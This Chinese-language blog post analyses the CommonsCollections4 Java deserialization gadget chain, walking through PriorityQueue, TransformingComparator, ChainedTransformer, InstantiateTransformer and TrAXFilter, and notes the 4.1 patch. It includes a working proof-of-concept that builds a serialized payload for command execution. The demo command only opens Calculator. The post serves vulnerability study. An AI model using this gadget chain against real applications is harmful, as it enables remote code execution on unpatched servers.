简介

适用版本:4.0,jdk7u21及以前

CommonsCollections4反序列化漏洞点InstantiateTransformer类的transform方法,并且在ChainedTransformer的transform方法中有所调用,之后在TransformingComparator的compare方法中调用ChainedTransformer的transform方法,compare方法在PriorityQueue插入元素时会自动调用。仔细一看其实就是CommonsCollections2和CommonsCollections3里边的东西合并了一下,利用的方法都是一样的。

主要代码

简要分析:反序列化时调用PriorityQueue的readObject方法,从而调用了TransformingComparator中恶意的ChainedTransformer对象的tranform方法,通过循环调用ChainedTransformer中iTransformer对象的tranform方法,进而调用TrAXFilter的构造方法,从而造成命令执行。

public static void main(String[] args) throws Exception {
    String command = "open /Applications/Calculator.app/";
    Object templates = createTemplatesImpl(command);
    //ConstantTransformer类实例化了一个constant对象
    ConstantTransformer constant = new ConstantTransformer(String.class);
    //InstantiateTransformer类实例化了一个instantiate对象
    Class[] paramTypes = new Class[] { String.class };
    Object[] str = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, str);
    paramTypes = (Class[]) getFieldValue(instantiate, "iParamTypes");
    str = (Object[]) getFieldValue(instantiate, "iArgs");
    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
    //创建一个PriorityQueue对象,并将它的comparator设为包含恶意ChainedTransformer对象的TransformingComparator
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    // 先设置为正常变量值,在后面通过setFieldValue来修改
    queue.add(1);
    queue.add(1);
    //使constant返回TrAXFilter对象
    setFieldValue(constant, "iConstant", TrAXFilter.class);
    //通过调用TemplatesImpl类的newTransformer方法来实现RCE
    paramTypes[0] = Templates.class;
    str[0] = templates;
    FileOutputStream fos = new FileOutputStream("payload.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(queue);
    oos.flush();
    oos.close();
    FileInputStream fis = new FileInputStream("payload.ser");
    ObjectInputStream ois = new ObjectInputStream(fis);
    Object newObj = ois.readObject();
    ois.close();
}

如果还是有点迷糊的话,希望再回顾一下之前的2和3。

利用链

cc41.png
也是2,3的合并,不多bb了

补丁

4.1版本选择把InstantiateTransformer类的反序列化接口给删除了(3.22是拉黑了)。

参考文章

雷神众测ysoserial分析之CommonsCollections4
Java反序列化利用链分析之CommonsCollections2,4,8-安全客

Last modification:April 21st, 2020 at 09:26 pm